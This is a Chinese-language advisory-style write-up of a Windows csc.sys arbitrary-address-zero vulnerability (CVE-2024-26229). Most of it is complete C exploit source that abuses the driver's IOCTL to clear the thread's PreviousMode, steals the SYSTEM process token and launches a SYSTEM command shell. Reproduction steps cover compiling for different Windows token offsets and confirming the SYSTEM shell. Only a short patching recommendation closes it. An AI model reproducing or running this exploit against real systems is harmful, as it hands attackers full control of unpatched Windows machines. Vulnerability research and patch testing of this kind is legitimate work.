一、漏洞描述
csc.sys驱动程序中带有METHOD_NEITHER I/O控制代码的IOCTL地址验证不正确,导致任意地址写零漏洞。攻击者在Windows上获得较低权限的任意代码执行后,可以利用该漏洞将低权限提升至system权限。
二、漏洞详情
该漏洞源于 csc.sys 驱动程序在处理 METHOD_NEITHER 类型的 I/O 控制代码 (IOCTL) 请求时对用户传入的地址验证不充分。METHOD_NEITHER 是一种 I/O 数据传递方法,它允许驱动程序直接访问用户模式缓冲区,而无需系统提供的安全检查,这为恶意攻击者提供了机会。
具体而言,csc.sys 驱动程序使用了 METHOD_NEITHER 传递方式来处理某些 IOCTL 请求,但并未正确验证用户传递的指针是否是合法的内存地址。这使得攻击者可以通过构造恶意的 IOCTL 请求来将任意地址写入零值,进而修改内核数据结构。
三、影响范围
Windows Server 2022, 23H2 Edition (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 11 Version 23H2 for x64-based Systems
Windows 11 Version 23H2 for ARM64-based Systems
Windows 10 Version 22H2 for 32-bit Systems
Windows 10 Version 22H2 for ARM64-based Systems
Windows 10 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for ARM64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 version 21H2 for ARM64-based Systems
Windows 11 version 21H2 for x64-based Systems
Windows Server 2012 R2 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
四、漏洞POC
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>
#define STATUS_SUCCESS 0
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;
typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;
typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;
typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;
typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;
int NtLoad() {
HMODULE hModule = GetModuleHandle(L"ntdll.dll");
if (hModule != 0) {
pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
if (!pNtWriteVirtualMemory)
{
printf("[-] NtWriteVirtualMemory not loaded\n");
return 1;
}
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!pNtQuerySystemInformation)
{
printf("[-] NtQuerySystemInformation not loaded\n");
return 1;
}
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
if (!pRtlInitUnicodeString)
{
printf("[-] RtlInitUnicodeString not loaded\n");
return 1;
}
pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
if (!pNtFsControlFile)
{
printf("[-] NtFsControlFile not loaded\n");
return 1;
}
pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
if (!pNtCreateFile)
{
printf("[-] NtCreateFile not loaded\n");
return 1;
}
}
else
{
printf("[-] NTDLL not loaded\n");
return 1;
}
return 0;
}
int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
else
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
return Ret;
}
NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
return -1;
return Status;
}
NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;
uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
system("cmd.exe");
return STATUS_SUCCESS;
}
int main()
{
if( NtLoad() ) return 1;
NTSTATUS status = Exploit();
return status;
}
五、复现步骤
下载公开的exp程序,进行x64编译。poc下载地址:https://github.com/RalfHacker/CVE-2024-26229-exploit。需要注意的是,Windows各个版本的EPROCESS_TOKEN_OFFSET可能不同,应该是从Win10 2004 (20H1)这个版本开始EPROCESS_TOKEN_OFFSET才发生的变化,之前的是0x360,之后的都是0x4b8。所以最好修改EPROCESS_TOKEN_OFFSET的值,编译0x360,0x4b8两个版本。
先运行命令sc qc csc命令查看服务是否启动,如果没启动,漏洞无法利用。SYSTEM_START表示可以利用。
运行编译后的程序,如果未报错,再输入whoami,如果输出中包含system,则漏洞利用成功。
下图为Win10 1909复现成功截图:
下图为Win11 21996复现成功截图:
六、修复方案
为了修复该漏洞,建议用户尽快应用微软发布的官方补丁。此外,用户应尽量避免直接运行不受信任的代码,特别是在服务器或高权限环境下,以减小漏洞被利用的风险。
七、参考链接
https://github.com/michredteam/PoC-26229